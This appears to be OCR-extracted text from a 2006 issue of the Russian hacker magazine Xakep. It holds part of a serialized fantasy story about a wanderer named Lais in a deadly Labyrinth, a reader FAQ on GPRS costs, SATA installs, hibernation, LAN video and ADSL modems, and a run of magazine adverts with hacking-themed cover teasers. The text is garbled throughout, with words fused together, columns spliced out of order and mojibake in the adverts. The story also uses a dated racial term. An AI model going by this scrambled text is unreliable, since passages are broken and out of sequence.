Оноглянулся и увидел вверху лестницу, ведущуюна поверхность. Но добраться до нее не былоникакой возможности — как минимум шестьметров от земли. Глаза уже немного привыклик темноте, и Лайс рассмотрел проем в стенеколодца, ведущий в глубь шахты. Сразуза поворотом в стене он нащупал факел, уоснования которого кто‐то заботливо оставилкоробок спичек. Вспыхнувший свет озарилвсе кругом, полчища мерзких огромных крыс,напуганных незваным гостем, тут же с пискомбросились в стороны.Держа перед собой факел, Лайс по колено внечистотах стал пробираться по канализационномутоннелю вперед. Крысы расступалисьживым ковром, и он подумал, что если быпадение было менее удачным, эти твари моглибы сожрать его уже к утру.Нос через какое‐то время привык к специфичнымзапахам вокруг и воспринимал ихне так болезненно. Романтики в начале егопутешествия оказалось меньше, чем оножидал. Лабиринт вообще был непредсказуемымместом. Жуткие клоаки и болотаздесь граничили с необычайно красивымирощами; заброшенные города и поселки велик причудливым колониям, в которых хотелосьостаться навсегда. Вероятно, поэтому всегданаходились люди, которые отправлялисьв Лабиринт по собственному желанию,несмотря на подстерегающие со всех сторонопасности. Этот мир привлекал их сильнее,чем тот, что был снаружи.Размышления Лайса прервал странный звук,раздающийся впереди. Барабаны! Ритмичныймотив, отбиваемый неизвестными музыкантами,немного оживил тишину канализационныхтоннелей. Лайс шел на этот звук, пока недостиг развилки. Главный коридор, разветвляясь,продолжал идти вперед. По бокамтонкого прохода, образовавшегося слева,располагались покрытые плесенью трубы.Проход справа был значительно привлекательнее— на удивление сухие стены, авпереди — тусклый свет. Определить, с какойстороны раздавались барабаны, Лайс не мог,но чувствовал, что если он выберет один изпутей, то к этой развилке уже не вернется.Лайс внимательно осмотрел начала всех трехкоридоров и заметил у правого скрывающуюсяв тени маленькую серебристую стрелочку,указывающую путь. Он улыбнулся и твердымшагом последовал в правый проход.Сырое подземелье канализации превратилосьв старый подземный грот, заваленныйкамнями. С потолка свисали сталактиты, а всвете его факела то и дело взмывали вверхпотревоженные летающие мыши. Барабаннаямузыка раздавалась уже совсем рядом,когда Лайс наконец увидел впереди большойпроем, ведущий в просторный зал.* * *Едва он успел войти туда, как прямо за нимобрушился огромный камень, полностьюотрезая путь назад. Одновременно с этимбарабанный хор умолк и все вокруг погрузилосьв тишину.Помещение, в котором он оказался, напоминалохрам. Высокие потолки, мягкое свечениесо всех сторон, а посредине на металлическомпостаменте, исписанном иероглифами,возвышался светящийся голубым светомкристалл. Лайс не знал, является ли он ключемк выходу или очередной ловушкой Лабиринта,но ему больше ничего не оставалось,как это проверить. В любом случае, храм былполностью изолирован, а единственный проход,через который он в него попал, завален.Лайс подошел к постаменту, каждый его шаггулким эхом отражался от стен. Внимательныйосмотр иероглифов и самого кристалланичего не дал. Никаких зацепок.Он протянул руки и осторожно снял тяжелыйдрагоценный камень со своего места.xàêåð 12/96/ 06/147


креатиffmeganewsВ ту же секунду весь зал содрогнулся,откуда‐то с потолка посыпались пыль и щебенка,а из недр подземелья послышалосьжурчание воды. За несколько секунд водапроникла в храм и теперь лилась отовсюду,пробивая камень и затапливая помещение.Ее напор все увеличивался, а уровень водыбыстро поднимался. Лайс стоял по пояс вледяной воде, обшаривая стены и пытаясьнайти какой‐нибудь рычаг, способныйвызволить его из ловушки. Но все былобесполезно.Когда уровень воды достиг горла Лайса,ему пришлось переплыть на другую сторонузала. По его примерным подсчетам, помещениедолжно было полностью затопить черездесять минут, так что времени найти способвыбраться у него оставалось немного.«Я буду вести тебя, но не смогу выручатьвезде и всюду», — вспомнил Лайс словаХрамовника. — «Используй все свои знания,умения и жизненный опыт, только так можновыжить в Лабиринте». Легко сказать. В такойситуации вряд ли мог пригодиться жизненныйопыт, скорее — удача.Вода уже наполовину заполнила помещение.Лайс смог выбраться на один из выступов, находившихсяпрямо под потолком, и осмотрелкупол храма. Потолок над ним был сплошным,а под сводами находились небольшие вкрапленныев камень стеклышки, от которых повсему залу распространялся мягкий желтоватыйсвет. Внутри этих стеклянных фонарейбыло какое‐то движение. Очевидно, именносущества внутри, сходные по строению сосветлячками, освещали весь храм. Сейчасэтот свет отражался от водной поверхностии создавал на стенах причудливые радужныепереливы. Несмотря на то что времениоставалось крайне мало, Лайс не мог неуделить несколько секунд этому необычномузрелищу.Вода достигла его временного пристанищаи уже была совсем близко к потолку.Барахтаться в воде, удерживая одной рукойкристалл, было неудобно. Лайсу хотелосьвыбросить балласт, но он был уверен, что этавещица является ключем к выходу.Когда вода была уже в трех метрах от потолка,Лайс нашел то, что искал. Углубление встене, скрывающееся в одном из углов потолка,было незаметно издалека. Размерамии формой оно повторяло контуры кристалла,и Лайс, не теряя времени, вставил камень вуглубление.Вода посреди зала тут же запузырилась, ина этом месте образовалась воронка. Лайспочувствовал, как поток воды подхватил егои понес прямиков в водоворот. Некотороевремя он пытался сопротивляться, схватившисьза выступ, но водная стихия оказаласьсильнее, и он повиновался, ожидая своейдальнейшей участи./ 148xàêåð 12/96/ 06


креатиff«Три минуты Лайс заворожено наблюдалза процессов возрождениямонстра. И когда костяной драконпредстал перед ним во всей красе,Лайс вдруг понял, что одного клинкатут будет недостаточно»Лайс едва успел сделать большой вдох передтем, как погрузиться под воду. Его тянуло ксамому дну, кидая из стороны в стороны. Онуже вот-вот был готов захлебнуться, когдапоток воды выкинул его в отполированныйкаменный желоб, по которому Лайс вместес волной стремительно понесся в неизвестность.Полет продолжался секунд сорок и закончилсяочередным падением в мутную лужу.Лайс перевел дух и осмотрелся.* * *Вокруг находилось кладбище: горы черепов,скелетов и просто тлеющих останков,разбросанных повсюду. Сам склеп был поразмерам даже больше, чем Храм; повсюдусвисали паутины и затхлые тряпки; на полубыли разбросаны ржавые мечи, клинки,щиты и доспехи. Сверху медленно, подобноснегу, летел белый пепел. От этого места уЛайса мурашки пошли по коже. Но самымжутким элементом этой потусторонней мозаикибыл застывший посреди груды череповогромный костяной силуэт какого‐то давнопогибшего животного. Он чем‐то напоминалразобранный экспонат музея палеонтологии,но размером превышал могучих тираннозавровраза в три.Лайс нашел более-менее сохранившийсямеч, который удерживал вокаменевших руках один из погибшихвоинов. Ему уже однажды приходилосьдержать меч в руках, но тогда ему было11 лет, клинок был деревянным, а противникамибыли такие же мальчишки,как и он сам. Клинок оказался довольнотяжелым, хотя удобно лежал в руке.Сделав для пробы пару выпадов, Лайсрешил, что с этой штукой сможет постоятьза себя, и подошел к застывшейкостяной статуе.Что‐то изменилось. Лайс насторожился иотошел назад, но было уже поздно. Костидракона зашевелились, а глазные впадиныогромного черепа зажглись дьявольским огнем.Те фрагменты скелета, которые лежали вотдельных частях зала, стали медленно притягиватьсяк десятиметровому позвоночнику и,словно ведомые невидимой рукой, занималиположенное им место. Полуразвалившаясякостяная статуя обретала свой первоначальныйвид и оживала на глазах. Три минутыЛайс заворожено наблюдал за процессоввозрождения монстра. И когда костянойдракон предстал перед ним во всей красе,Лайс вдруг понял, что одного клинка тут будетнедостаточно.Монстр уже заметил потревожившую егочеловека и, направив на него свою костлявуюморду, издал протяжный истошный рев. Звуковаяволна откинула Лайса к стене, а воздухвокруг заполнился запахом смерти и тлена.— Храмовник, если ты меня слышишь, выручай!— тихо сказал Лайс.Костяной дракон навис над ним, готовясьодним ударом размазать наглого человечка.И в этот момент откуда‐то сверху упалконец веревки, а женский голос крикнул:«Хватай». Второй раз приглашать егоне пришлось. Сделав прыжок и ухватившисьза конец каната, Лайс почувствовалрывок. Какой‐то силач быстро тащил егонаверх.Дракон, не ожидавший такого поворота событий,издал еще один рык и занес над Лайсомлапу, за что получил сверху порцию горящихстрел, угодивших ему прямо в глаз. Лайс ужебыл вне досягаемости страшного хранителяэтого места, а дракон неистовствовал, крушастены и раскидывая груды костей.Наконец, Лайс поднялся на выступ, с которогоему скинули веревку, и хотел поблагодаритьсвоих спасителей.— Не благодари, — словно читая его мысли,сказала рыжая девица лет двадцати пяти,похожая на амазонку. Она была практическиполностью обнажена: в кожаных повязках,боевой раскраске и с луком в руке. Рядом сней стоял гигантский лысый негр, одетый визрядно потрепанную стандартную формускитальца Лабиринта. А еще с ними былмаленький старичок, опиравшийся на грубуюпалку.— Я Мирва. Это Джуд, — показала амазонкана негра, — а это дядя Бо.Лайс в ответ коротко представился.— Идем, незнакомец, здесь не самое безопасноеместо.* * *Шли молча, то и дело сворачивая в новыетоннели. Его попутчики хорошо знали дорогуи ни разу не остановились, чтобы проверить,правильно ли идут. По пути Лайс с любопытствомразглядывал своих спасителей,особенно задницу сексапильной амазоночки,и размышлял о том, что делать дальше.Город был не самым далеким районом от егоцели, но и не самым близким. Лайсу предстоялдолгий переход через несколько другихсекторов, половина которых имела максимальныйуровень опасности. По крайнеймере, так считал Храмовник. Все, что у негобыло, — это примерный ориентир и помощьодного из Богов, целиком полагаться на которуюон не мог.Лайс поравнялся с Мирвой и нарушил молчание:— Куда мы идем?— На поверхность. Тебе повезло, что мыоказались рядом. В такую глушь мало ктозабирается.— А зачем сюда пришли вы?— Светоиды.— Светоиды?xàêåð 12/96/ 06/149


креатиffmeganews/ 150xàêåðко знать все входы-выходы и не совать носкуда попало. А еще всегда носить с собой это.Мирва похлопала по кобуре на поясе, изкоторой выглядывала резная рукоять внушительногоножа.— А это твои друзья? — спросил Лайс.— Можно и так сказать. Здесь любого, ктоне собирается тебя убить, можно считатьдругом. Вообще Лабиринт сближает людей.Приходи сюда вместе со своим злейшимврагом, проведите вместе несколько дней истанете неразлучными друзьями. Поверь мне.Тоннель, по которому они поднимались, расширилсяи впереди показался яркий свет.— Вот и выход, — сообщила амазонка.* * *Четверо скитальцев стояли на поверхности,щурясь и пытаясь привыкнуть к солнечномусвету. Рядом зиял черный вход в внешненапоминающего заброшенную шахту подземелья,из которого они только что выбрались.А вокруг были уже знакомые Лайсу улицыгорода-призрака.— Идем, мы уже близко.Странная троица передвигалась осторожно,постоянно оглядываясь. Негр Джуд держал— Маленький фосфоресцирующие жучки.Их можно найти в некоторых местах глубокопод землей. С электричеством тут, знаешь ли,напряженка, а ими очень удобно пользоватьсякак лампами.Только тут Лайс заметил у Джуда за плечамирюкзак, из которого доносилось свечение.— А ты как здесь оказался? Похоже, новичокв Лабиринте?— Мой первый день.— И сразу знакомство с Кракалусом, — Мирвазалилась веселым смехом. — Повезло жетебе.— Кто такой Кракалус?— Так мы зовем костяного стража сокровищницы,который чуть не отправил тебя натот свет. Правда сокровищ там уже осталосьнемного.— А ты здесь давно?— Два года.Это было много. Намного больше, чем мог выдержатьобычный человек. За один тот деньЛайс едва не лишился жизни уже раз пять.Сколько же тогда раз на волоске от смертинаходилась эта юная особа?— Знаешь, тут не так плохо, как привыклисчитать! — поделилась Мирва. — Нужно тольнаготовевинчестер, старик не снимал рукус рукояти самурайского меча. Они миновалидва квартала и подошли к наглухо закрытомугаражу. Мирва оглянулась по сторонам инажала на кнопку рядом с массивной металлическойдверью. Очевидно, где‐то рядомнаходился объектив камеры, так как дверь тутже со скрипом поднялась.— Скорей! — Девушка юркнула внутрьпервой, за ней — дядюшка Бо. Лайс был последним,ворота за ним тут же закрылись.Помимо трех уже знакомых Лайсу людей,внутри находились еще человек десять.Многие из них имели похожий на Мирву вид,но пара человек носила стандартный костюмдля Лабиринта. Впрочем, была еще одначерта, которая отличала долгожителей отновичков — у каждого из ветеранов на поясевисел нож или пистолет. Все они собралисьвокруг путников.— Добро пожаловать в Аутпост! — объявилаМирва.Лайс вежливо кивнул людям.— Следуй за мной, тебя ждет председатель.Они прошли через короткий коридор в огражденнуюпростенькой занавеской комнату, где,склонившись за письменным столом, работал12/96/ 06


креатиff«Странная троица передвигаласьосторожно, постоянно оглядываясь.Негр Джуд держал наготовевинчестер, старик не снимал рукус рукояти самурайского меча»крепкий темноволосый мужчина лет пятидесяти.Лайс обратил внимание, что все комнатыв этом подвале были освещены банками спомещенными внутрь крупными светлячками.Как их там назвала Мирва, светоиды?— Новенький! Зовут Лайс, — представиладевушка гостя.Председатель жестом пригласил Лайса присесть.Мирва вышла, оставив их наедине.Мужчина не спешил начинать разговор, продолжаячто‐то писать, Лайс терпеливо ждал.— Новенький, говоришь? — Наконец поднялголову председатель. — А у нас другая информация.Я слышал, банда Грима настолькообнаглела, что решила подослать к намкрысу. Ты ничего такого не слышал?Мужчина сверлил его глазами, и Лайс понял:его проверяют. Они принимают его за кого‐тодругого.— Послушайте, я не собираюсь у вас здесьторчать и что‐то вынюхивать. Мне нужно какможно быстрее перейти в следующий квадрат.И я был бы вам признателен за помощь.— А с чего ты решил, что мы будем тебепомогать?— Не знаю. Мирва сказала, что в Лабиринтевсе скитальцы — по сути, друзья и выручаютдруг друга.— Значит, по‐твоему, я считаю тебя другом?Председатель загоготал.— Мирва — ветеран Лабиринта, и с ее мнениемнужно считаться, но иногда она говоритглупости.— Саймон, — протянул руку мужчина. Лайсс готовностью пожал. — Я знаю, ты не одиниз этих ублюдков, которые ждут не дождутсянашего разорения. Мне сказали, что тебянашли в древних катакомбах. Бандиты Гримане любят спускаться вглубь. Так что я тебеверю. К тому же у тебя взгляд новичка, этовидно сразу.Лайса эта фраза задела, но он решил промолчать.xàêåð 12/96/ 06/— У нас тут небольшое убежище для скитальцев,можно остановиться на некотороевремя, подкрепиться и затем продолжитьпуть. Если, конечно, ты еще не утратил веру вбольшую Мечту. Хотя ты еще для этого слишкоммало здесь пробыл.— А ты утратил? — спросил Лайс.— Не хочу тебя разочаровывать, но ядостаточно долго мотался по этим мирам,чтобы понять одну простую вещь — нетникакого конца, нет цели. Лабиринт — сампо себе одна большая западня, из которойнет пути назад. Многие со мной не согласны ипроводят всю свою жизнь здесь, скитаясь посекторам и исследуя дюйм за дюймом.— Я найду портал, когда‐нибудь ты узнаешьоб этом, — сказал Лайс.Саймон улыбнулся. Наверное, он слышал этоуже много раз.— Куда ты направляешься?— На север. В зону Руины Рахрайма.— Не советовал бы туда соваться человеку ствоим опытом. Даже Мирва и Джуд побаиваютсяэтого сектора.Лайс пожал плечами.— Впрочем, как знаешь. Я готов помочь тебеи выделить транспорт, но взамен ты долженкое‐что для меня сделать.не знаю, кто это и как давно он тут вынюхивает,поэтому не могу доверять никому. Ноты пришел сегодня и вне подозрений. Мненужно доставить важное сообщение своемуприятелю на севере по имени Зуелу. Этодовольно специфический человек, но первоевпечатление о нем может быть обманчиво.Передай ему это письмо, он поможет тебе втвоих дальнейших поисках. И держи язык зазубами. Я попрошу Мирву сопровождать тебядо границы, дальше будешь добираться сам».— Эй, не спи. Садись назад, — услышал Лайсголос Мирвы.Амазонка устроилась за рулем, вставив в чехолна боку катера помповое ружье. Лайс сел заней. Агрегат тихо завелся и покатил с приличнойскоростью по главной улице города.— Сколько нам ехать? — спросил он.— До границы около сорока минут езды.Если, конечно, ничего не случится в дороге.Они миновали несколько кварталов и добралисьдо окраины. Дома стали попадатьсяреже, в основном, вокруг были пустыри изаброшенные сарайчики. Раскинувшиесявпереди земли напомнили Лайсу о Техасе,который он видел на иллюстрациях в книгах.Не хватало разве что ковбойских ферм икоровьих стад.На двадцатой минуте езды, когда город ужеостался позади, вдали раздался шум моторов.Лайс оглянулся и увидел приближающиесяклубы пыли. Мирва их также заметила исмачно выругалась.* * *— Не знаю, как тебе удалось уговоритьСаймона выделить катер. У нас каждый литрдизеля на счету, — Мирва выкатила странныйагрегат на воздушной подушке — смесь — Дьявол, только этого нам не хватало.мотоцикла с водным скутером — и залила в — Что это? — спросил Лайс, понимая, чтобак топливо.ничего хорошего ожидать не стоит.— Наверное, я ему чем‐то понравился, — Погоня, — объяснил Мирва. — Рейдеры из— предположил Лайс.банды Грима.О настоящей причине он умолчал, хотя слова Девушка прибавила газу, но дистанция междуСаймона не выходили из головы:ними и преследователями продолжала быстросокращаться. z«Один из моих помощников, которых я послалотслеживать действия банды, сообщил,что среди нас в Аутпосте шпион Грима. Я Продолжение следует...151


unitsСтепан «Step» Ильин/ faq@real.xakep.ru /hackfaq@real.xakep.ruYOUr FAQFAQ OnЗадавая вопрос, подумай!Не стоит посылать мне вопросы, так или иначе связанные схаком/кряком/фриком, для этого есть Hack-Faq (hackfaq@real.xakep.ru). Не стоит также задавать откровенно ламерские вопросы,ответ на которые ты при определенном желании можешьнайти и сам. Я не телепат, поэтому конкретизируй вопрос, присылайкак можно больше информации.Q: Парни, привет! Как-то раз перечитывалвашу статью из апрельскогономера за 2005 год, в которой речьшла о замечательной технологииGPRS. Так вот я им часто пользуюсьи для этого юзаю самые разнообразныепрограммы: opera-mini, bombus,jmailagent. Помимо этого, иногдаюзаю его в связке с ноутбуком.Возник такой вопрос: как сделатьсерфинг инета через мобилу хотябы чуть-чуть дешевле? Того и гляди,скоро разорюсь.A: Самое главное — уяснить себе, что провайдерне тарифицирует трафик строго покилобайтам. У него своя система, не выгоднаядля клиента. Чаще всего тарификацияосуществляется по 100 Кб. Иначе говоря,сколько бы ты ни потратил, 1 килобайт или100, со счета все равно спишут одно и тоже количество денежек. По этой причиненет смысла подключаться к инету, чтобы отправитьмессагу по аське. Дешевле выйдет/ 152xàêåðобычная sms‘ка. А если уж и подключаться,то всерьез и надолго, при этом не закрывая,а при необходимости сворачивая активныеприложения (jimm, opera-mini и т.д.). К счастью,даже во время активной GPRS-сессииты по-прежнему сможешь осуществлять ипринимать звонки.Если телефон с GPRS используется в качествемодема на компьютере, можно пойтиеще на пару ухищрений, прежде всего насжатие трафика. Сетевые протоколы ужедавно поддерживают возможность прозрачногосжатия информации, что называется,на лету. Скажу больше: некоторые HTTPпроксипо умолчанию поддерживают такуюопцию, как сжатие HTTP-содержимого.Ее использование не только ускоряетпроизводительность, но и существенноудешевляет web-серфинг. Серфинг с использованиемтакой прокси и без нее имеетсущественные различия, но ее еще нужнонайти! Лучше всего вообще арендовать длясебя шелл или VDS, где и разместить свойсобственный сервер. Только в этом случаеможно давать хоть какие-то гарантии поповоду ее работоспособности. Помимо этого,обязательно попробуй веб-ускорители.Некоторые из них действительно могут датьрезультат, и в первую очередь это касаетсяGoogle Web Accelerator (webaccelerator.google.com). Разработка от Гугла используетсразу 3 приема: сжатие трафика,кэширование страничек и упреждающуюзагрузку (передача данных до посылкизапроса). Клиентская часть акселераторавыполнена в виде активной панели дляInternet Explorer 6.х и FireFox 1.0+. Крометого, рекомендую взглянуть на Globax(www.globax.info), прекрасно зарекомендовавшийсебя в спутниковом интернете; PROPEL(www.propel.com), хорошо сжимающий нетолько текстовое содержимое, но и графическиеизображения; Rabbit (www.khelekore.org/rabbit) - наверное, лучший бесплатный— web-ускоритель, сжимающий как текстовики,так и изображения.12/96/ 06


unitsQ: Не устанавливается Windows XP наSATA-винчестер. Что делать?A: Для начала изучи свой дистрибутив свиндой. Если ты достал диск из запылившейсякоробочки, которая давным-давно лежитв недрах твоего шкафчика, то лучше найдичто-нибудь посвежее. Необходимо, чтобыв дистрибутив был интегрирован второйсервис-пак. Впрочем, даже в этом случае подходящегодрайвера в нем может не оказаться,поэтому его придется интегрировать самому.К счастью, можно обойтись без долгой ручнойправки дистрибутива и сделать все за минутудругуючерез замечательную утилиту nLite(www.nliteos.com).xàêåð 12/96/ 06Q: Зачем вообще нужны спящий иждущий режимы? Что лучше и длячего применяется?A: Лично я активно использую эти режимыво время работы на ноутбуке. Согласись, намногоудобнее, когда операционная системаготова к работе через 15 секунд, чем когданадо ждать полной загрузки компьютера, ОС,многочисленных служб и программ. К томуже в этом случае можно сразу приступить кработе именно там, где закончил, вплоть донужной строчки в исходнике. Windows, а такжебольшинство современных Unix-дистрибутивовподдерживают следующее режимыперевода системы в состояние пониженногоэнергопотребления: Suspend to RAM (он жеждущий режим) и Suspend to Disk (спящийрежим, Hibernate). В первом случае засыпаниеосуществляется практически моментально идостигается путем отключения всей периферии,процессора, видеокарты и т.д.В активном состоянии остаётся только память,где и хранятся рабочие области операционнойсистемы и приложений. Если речь идет о ноутбуке,то он продолжает потреблять небольшоеколичество энергии, но после продолжительноговремени батарея может сесть. Такойрежим стоит использовать только тогда, когдалишь ненадолго отходишь от компьютера.Suspend to Disk, как несложно догадаться поназванию, сохраняет полную конфигурациюмашины (состояние внутренних регистровпроцессора, оперативной памяти и т.д.) нажесткий диск. В этом режиме текущая конфигурациямашины (включая оперативную ивидеопамять) сбрасывается в специальныйфайл на винчестере. При этом компьютервыключается и фактически не потребляетэнергию. Жаль только, что переход в этотрежим, как и возвращение к нормальномурабочему состоянию, занимает намного большевремени из-за операции чтения/записи сотносительно медленным жестким диском.Встроенная поддержка есть в Windows 2000и Windows XP, но очень часто ее необходимовручную активировать в одной из вкладок внастройках электропитания.Q: Как можно организовать вещаниевидео в небольшую сеть (около 30компов). Если с радио все более илименее понятно (да и статьи про это увас уже были), то как быть с TV? Этовообще возможно?A: Конечно, возможно, но все зависит от того,что будет источником сигнала. Идеальныйвариант, когда в качестве источника выступаютданные в цифре. Этого можно добитьсятолько одним путем — получая их со спутника.В одном из номеров, в котором подробно рассказывалосьо спутниковом телевидении, мыособенно рекомендовали тебе использоватьпрограмму PogDVB (www.progdvb.com/rus/index.html). Бесплатная, простая в настройке ичрезвычайно функциональная, она позволяетне только самому смотреть видео со спутникав отменном качестве, но и вещать его в локальнуюсеть. В самом простом случае тебедостаточно будет выбрать нужный канал иактивировать в настройках опцию широковещательнойтрансляции. Клиентам, предварительноустановившим все тот же ProgDVB,достаточно указать в качестве источникасигнала твой сервер и сразу приступать кпросмотру. Но вот проблема: получается,что каждый юзер в локалке будет смотретьтолько тот канал, который выбрал ты... Развеэто дело? Гораздо лучше, если пользовательполучит право выбора: будет ли это современнаямузыка, ретро или порнушка на соседнемканале. И такую возможность предоставляетспециальный плагин Prog Media server/client,подробности о котором ты узнаешь на официальномсайте программы.А как же быть, если в распоряжении имеется неспутниковый комплект, а всего лишь TV-тюнер?На этот случай существует замечательная программаFlyDS (www.asvzzz.com), которая вышевсех конкурентов на две головы и вообще уделываетих по всем параметрам. Как еще можнопохвалить программу, которая умеет в режимереального времени оцифровывать аналоговоеизображение и вещать его в сеть? Причем дляэтого нужно-то указать порт, на котором будетосуществляться вещание, экранное разрешение,используемые фильтры — и все! Теперьклиентам остается лишь в Windows MediaPlayerуказать адрес сервера и порт! Лепота!Q: Купил ADSL-модем D-Link. Постояннопадает линк, хотя с проводкой всеОК (просмотрел лично сам до щитка).Подскажите, как пофиксить!A: Для начала стоит залить в модем новуюпрошивку или (если модем подключаетсяпо USB) драйверы. Новые версии firmware,равно как и инструкции по их использованию,которые следует читать очень внимательно,всегда доступны на официальном сайтепроизводителя. Помимо этого, не поленисьпроштудировать форум, где пользователиохотно делятся своими впечатлениями обиспользовании новых версий прошивок ирассказывают о своих проблемах. К тому жедля модемов D-Link распространяются еще иальтернативные прошивки от независимыхразработчиков. Все это возможно благодарятому, что модем — это вполне самостоятельноеустройство с RISC-процессором и операционнойсистеме на базе UNIX. При большомжелании провести небольшой тюнинг можешьи ты, подсоединившись к модему черезtelnet. Что касается веб-интерфейса, то тебеобязательно стоит заглянуть в раздел со всевозможнойстатистикой. По уровню сигнала,количеству коллизий и ошибок в приемопередаче,можно судить о качестве линии.Не достаточно просто оценить внешний видтелефонной проводки до щитка (ее, кстатиговоря, лучше всего протянуть с помощью витойпары), чтобы утверждать о ее состоянии.Необходимо позвонить на АТС и заказатьполную проверку линии. Это минутное деломожет разъяснить сложившуюся ситуацию.Тем более это совершенно бесплатно.И еще: возможно, проблема в некачественномсплиттере.Q: Привет, хакеры! Скажите, какойпривод лучше взять для чтениятаких дисков, на которые перешливы (9 Гб)?A: Любой современный (и даже не оченьсовременный) привод такие диски прочитает.Скажу больше: скорее всего твойDVD-ROM даже не заметит разницы.И все потому, что фактически изменилсятолько размер диска, в то время какего формат остался прежним. Он какбыл DVD-ROM, так им и останется. Этодостигается за счет производства дисковна заводе, хотя записанная двухслойнаяболванка (которую, например, мы отдаемна завод для штамповки тиража) прочитаетсядалеко не в каждом приводе, так какимеет формат DVD-DL. z/ 153


ЖУРНАЛ О КИНО, DVD И ДОМАШНЕМ КИНОТЕАТРЕ№ 12 (69) декабрь 2006в журналеи на dvdприложении:главныхкинопремьермесяцаобзорановыхdvdновыхмоделейav-техники+ СПЕЦПРОЕКТ: КОРОЛИ ЗИМНЕГО ОТДЫХАВ Ы С О К О О К Т А Н О В Ы Й Ж У Р Н А ЛНАСТОЯЩИЙ ЯПОНСКИЙ ДРИФТ:МЫ ЕГО ВИДЕЛИ!РУССКИЙ MAXI TUNING НА ЭТАПЕ D1 GRAND PRIXИ НА НОЧНЫХ УЛИЦАХ ТОКИОЖУРНАЛКОМПЛЕКТУЕТСЯCDБЕСШУМНЫЙ САБВУФЕРПЕРВЫЙ ТЕСТ УНИКАЛЬНОГОВИБРОСАБВУФЕРА:СУЩЕСТВУЕТ ЛИ БЕЗЗВУЧНЫЙ БАС?декабрь | 2006 | 09ВСЕ ПРО ОБВЕСЫЕСТЬ ЛИ ТОЛК ОТ МОДНЫХ«АЭРОДИНАМИЧЕСКИХ»БОДИКИТОВ НА МАШИНУ?BMW Z4 MCitroen SaxoOpel CalibraBMW 325 E36ВАЗ-2108 turboDodge DaytonaFiat Punto 380 силToyota Yaris AlpineNissan Primera turboNissan Sunny 376 силHonda Accord CoupeNissan Sunny Citroen Saxo Opel Calibra Honda Accord CoupeVW Golf 2 rallyВАЗ-2111 turbo 238 л.с.2006_НОЯБРЬ_11 [27]В Ы Б И Р А Е М _ Д О М А Ш Н И Й _ К И Н О Т Е А Т Р[смотри]Мегатест проекторовдо 70 тысяч рублей[слушай]CD-ресиверMusical Fidelity kW 250S[чувствуй]Мегатест AV-ресиверовдо 60 тысяч рублей - ДВАЖДЫ ДВА VGA + СПЕЦПРОЕКТ:Короли зимнего отдыха ? ?32 6042 VGA KONA DAWG SUPREME / KONA F / CA NONDALE RUSH 3 0 /KHS XC-104 / SPECIALIZED STUMPJUMPER PRO / UNIVEG ALPINA HT- 50 /IDOL W OD O ENDUROFOX’07 Тестируем БПв домашнихусловияхИЮЛЬ (16) Феномен UMPC#12 |34| 2006DVD в комплекте ?DDR2 !ÆÓÐÍÀË Î ËÓ×ØÈÕ ÊÎÌÏÜÞÒÅÐÍÛÕ È ÂÈÄÅÎÈÃÐÀÕ PC PS2 PS3 GAMECUBE WII XBOX XBOX 360 GBA DS PSPТЕМА НОМЕРАНА DVD:ВИДЕОИНТЕРВЬЮНОВАЯ РОЛЬ ЭММАНУЭЛЬ ВОЖЬЕ2 ПОСТЕРА НАКЛЕЙКА УНИКАЛЬНЫЙ ДИСК 208 СТРАНИЦ 100+ ИГР В НОМЕРЕПРОГРЕССЕВНУТРИВ НОМЕРЕ:РЕПОРТАЖДВАДЦАТЬ ПЯТЬ ТЫСЯЧ ГЕЙМЕРОВПОД ОДНОЙ КРЫШЕЙВСЕ НЕ ПРОSNBRDКУДА УХОДЯТ $$$СНОУБЮДЖЕТА?SPAZM:МУЗЫКАЛЬНЫЕУРОКИ#07 (20) НОЯБРЬ 2006РЕКОМЕНДОВАННАЯ ЦЕНА: 100 рублейWWW.ONBOARDMAGAZINE.RUWORLDIN CONFLICTХИТ!?GOTHIC 3 ОБЗОРOKAMIОБЗОРÈÃÐÀ ÌÅÑßÖÀСИКВЕЛЫЖЕЛАННЫЕ И НЕ ОЧЕНЬGDC RUSSIAИГРЫ КАК БИЗНЕСF.E.A.R. EXTRACTION POINTШЕСТЬ ЧАСОВ СТРАХАBATTLEFIELD 2142ТРЕТЬЯ МИРОВАЯ НА ЭКРАНЕWARHAMMER:MARK OF CHAOSСТРАТЕГИЧЕСКИЙ РАЙALAN WAKEМУРАШКИ ПО КОЖЕЛИГА ЧЕМПИОНОВ - СПОРТИНГ СПАРТАК ГАМБУРГ ЦСКАФУТБОЛ КАК СТРАСТЬИСТОРИЯ ЖИЗНИКАПИТАНА «РОМЫ»О ВОЗВРАЩЕНИИВ «ЛОКОМОТИВ»КУРИТ ТРУБКУИ ТРЕНИРУЕТ - ? ?32 6042 VGA В АНГЛИИ ЗНАЮТ, КАКПОБЕДИТЬ «ЧЕЛСИ»ÏÐÀÂÈËÜÍÛÉ ÆÓÐÍÀË Î ÊÎÌÏÜÞÒÅÐÍÛÕ ÈÃÐÀÕ№ 12 (36)ДЕКАБРЬ 2006НАКЛЕЙКИN ED FOR SP ED CARBONи JUST CAUSE¹11 Декабрь 2006+ спецпроект«Короли зимнегоотдыха»ПОСТЕРЫN ED FOR SP ED CARBONи РЕДАКЦИЯ «РС ИГР»ЭКСКЛЮЗИВ: «АРСЕНАЛ» И ЛОНДОН, ЗИДАН И ФРАНЦИЯ, КАРЬЕРА И ДЕНЬГИРОССИЙСКАЯВЫСТАВКАДЛЯ ГЕЙМЕРОВwww.totalfootball.ru :КОРОЛИ ЗИМНЕГО ОТДЫХАКАРВАЛЬЮ ХУЛИГАНЫ БАРСЕЛОНА ТАКТИКА ?DDR2 !#12 |34| 2006068 стР.НОЯБРЬ 11(95) 2006WE ARE HACKERS.WE ARE TOGETHERНОЯБРЬ 11(95) 2006технологиясовеРшенныхРутКитов068 стР.• беРем сбеРбанКвзлом сбеРегательногобанКа уКРаины• 10 хаК-Квестовна dVdÎ ÁÓÄÓÙÅÌ> ÒÅÕÍÎËÎÃÈÈ ÑÂÈÍÑÒÂÀ ÄÂÓÕ ØÀÃÀÕÎÒ ÁÅÑÑÌÅÐÒÈß> ÑÏÅÖÏÐÎÅÊÒ:ÊÎÐÎËÈ ÇÈÌÍÅÃÎÎÒÄÛÕÀWWW.PROSNOW.RUÃÐÓÇÈÍ,ÊÎÒÎÐÛÕАрт-трендыЯпонияVSЕвропаÌÛ ÍÅ ÄÀÄÈÌ ÎÁÈÄÓ• КишКи таКсофонаРубРиКа InsIdeвеРнулась в жуРнал!• тРоян с синим зубомсоздаем своегоbluetooth-тРоянаболее 300 отбоРных пРогРамм для винды и ниКсовсамый демоКРатичный дистРибутив линуКса — Fedora 